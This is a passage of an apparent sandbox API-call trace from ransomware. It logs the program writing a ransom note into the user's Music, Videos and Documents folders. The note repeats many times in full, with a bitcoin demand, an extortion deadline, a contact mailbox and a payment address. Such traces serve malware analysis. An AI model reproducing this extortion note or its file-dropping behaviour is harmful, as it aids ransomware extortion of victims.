recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x798ef8, cbMultiByte=2498, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", lpUsedDefaultChar=0x0) returned 2498 [0145.243] WriteFile (in: hFile=0x224, lpBuffer=0x798ef8*, nNumberOfBytesToWrite=0x9c2, lpNumberOfBytesWritten=0x18fc8c, lpOverlapped=0x0 | out: lpBuffer=0x798ef8*, lpNumberOfBytesWritten=0x18fc8c*=0x9c2, lpOverlapped=0x0) returned 1 [0145.244] CloseHandle (hObject=0x224) returned 1 [0145.244] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=13, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 1 [0145.244] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music")) returned 0x11 [0145.244] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=13, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 1 [0145.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0145.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x798ef8, cbMultiByte=2498, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", lpUsedDefaultChar=0x0) returned 2498 [0145.245] WriteFile (in: hFile=0x224, lpBuffer=0x798ef8*, nNumberOfBytesToWrite=0x9c2, lpNumberOfBytesWritten=0x18fc8c, lpOverlapped=0x0 | out: lpBuffer=0x798ef8*, lpNumberOfBytesWritten=0x18fc8c*=0x9c2, lpOverlapped=0x0) returned 1 [0145.247] CloseHandle (hObject=0x224) returned 1 [0145.247] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=14, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned 1 [0145.247] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos")) returned 0x11 [0145.247] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=14, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned 1 [0145.247] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0145.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x798ef8, cbMultiByte=2498, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", lpUsedDefaultChar=0x0) returned 2498 [0145.248] WriteFile (in: hFile=0x224, lpBuffer=0x798ef8*, nNumberOfBytesToWrite=0x9c2, lpNumberOfBytesWritten=0x18fc8c, lpOverlapped=0x0 | out: lpBuffer=0x798ef8*, lpNumberOfBytesWritten=0x18fc8c*=0x9c2, lpOverlapped=0x0) returned 1 [0145.249] CloseHandle (hObject=0x224) returned 1 [0145.249] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=5, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 1 [0145.249] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents")) returned 0x11 [0145.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=5, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 1 [0145.250] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0145.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and 